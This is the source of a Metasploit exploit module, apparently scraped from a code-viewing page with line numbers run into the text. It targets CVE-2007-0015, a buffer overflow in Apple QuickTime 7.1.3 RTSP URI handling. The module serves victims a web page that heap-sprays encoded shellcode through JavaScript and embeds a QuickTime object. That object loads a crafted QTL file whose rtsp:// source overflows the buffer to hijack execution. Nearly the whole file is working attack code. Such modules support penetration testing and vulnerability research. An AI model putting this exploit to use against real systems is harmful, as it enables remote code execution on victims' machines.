Path: blob/master/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910# include Msf::Exploit::Remote::BrowserAutopwn11# autopwn_info({12# :os_name => OperatingSystems::Match::WINDOWS,13# # No particular browser. Works on at least IE6 and Firefox 1.5.0.314# :javascript => true,15# :rank => NormalRanking, # reliable memory corruption16# :vuln_test => nil,17# })1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',24'Description' => %q{25This module exploits a buffer overflow in Apple QuickTime267.1.3. This module was inspired by MOAB-01-01-2007. The27Browser target for this module was tested against IE 6 and28Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the29QuickTime plugin.30},31'Author' => [ 'MC', 'egypt' ],32'License' => MSF_LICENSE,33'References' => [34[ 'CVE', '2007-0015' ],35[ 'OSVDB', '31023'],36[ 'BID', '21829' ]37],38'DefaultOptions' => {39'EXITFUNC' => 'process',40},41'Payload' => {42'Space' => 500,43'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",44},45'Platform' => 'win',46'Targets' => [47[ 'Automatic', {} ],48[49'Apple QuickTime Player 7.1.3',50{51'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)52}53],54[55'Browser Universal',56{57'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp258}59],60],61'Privileged' => false,62'DisclosureDate' => '2007-01-01',63'DefaultTarget' => 0,64'Notes' => {65'Reliability' => UNKNOWN_RELIABILITY,66'Stability' => UNKNOWN_STABILITY,67'SideEffects' => UNKNOWN_SIDE_EFFECTS68}69)70)71end7273def on_request_uri(client, request)74return if ((p = regenerate_payload(client)) == nil)7576if (target.name =~ /Automatic/)77if (request['User-Agent'] =~ /QuickTime/i)78target = targets[1]79else80target = targets[2]81end82end8384cruft = rand_text_alphanumeric(4)85# This is all basically filler on the browser target because we can't86# expect the SEH to be in a reliable place across multiple browsers.87# Heap spray ftw.88sploit = rand_text_english(307)89sploit << p.encoded + "\xeb\x06" + rand_text_english(2)90sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')9192if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)93print_status("Sending exploit QTL file (target: #{target.name})")94content = build_qtl(sploit)95else96print_status("Sending init HTML")9798shellcode = Rex::Text.to_unescape(p.encoded)99url = ((datastore['SSL']) ? "https://" : "http://")100url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])101url << ":" + datastore['SRVPORT'].to_s102url << get_resource103js = <<-ENDJS104#{js_heap_spray}105sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);106ENDJS107content = "<html><body><script><!--\n#{js}//--></script>"108content << <<-ENDEMBED109<OBJECT110CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"111WIDTH="1"112HEIGHT="1"113CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">114<PARAM name="SRC" VALUE = "#{url}/#{cruft}.qtl">115<PARAM name="QTSRC" VALUE = "#{url}/#{cruft}.qtl">116<PARAM name="AUTOPLAY" VALUE = "true" >117<PARAM name="TYPE" VALUE = "video/quicktime" >118<PARAM name="TARGET" VALUE = "myself" >119<EMBED120SRC = "#{url}/#{cruft}.qtl"121QTSRC = "#{url}/#{cruft}.qtl"122TARGET = "myself"123WIDTH = "1"124HEIGHT = "1"125AUTOPLAY = "true"126PLUGIN = "quicktimeplugin"127TYPE = "video/quicktime"128CACHE = "false"129PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >130</EMBED>131</OBJECT>132ENDEMBED133content << "</body></html>"134end135136send_response(client, content, { 'Content-Type' => "text/html" })137138# Handle the payload139handler(client)140end141142def build_qtl(overflow)143cruft = rand_text_english(4)144145content = "<?xml version=\"1.0\"?>\n"146content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"147content << "<embed autoplay=\"true\" \n"148content << "moviename=\"#{cruft}\" \n"149content << "qtnext=\"#{cruft}\" \n"150content << "type=\"video/quicktime\" \n"151content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"152end153end154155156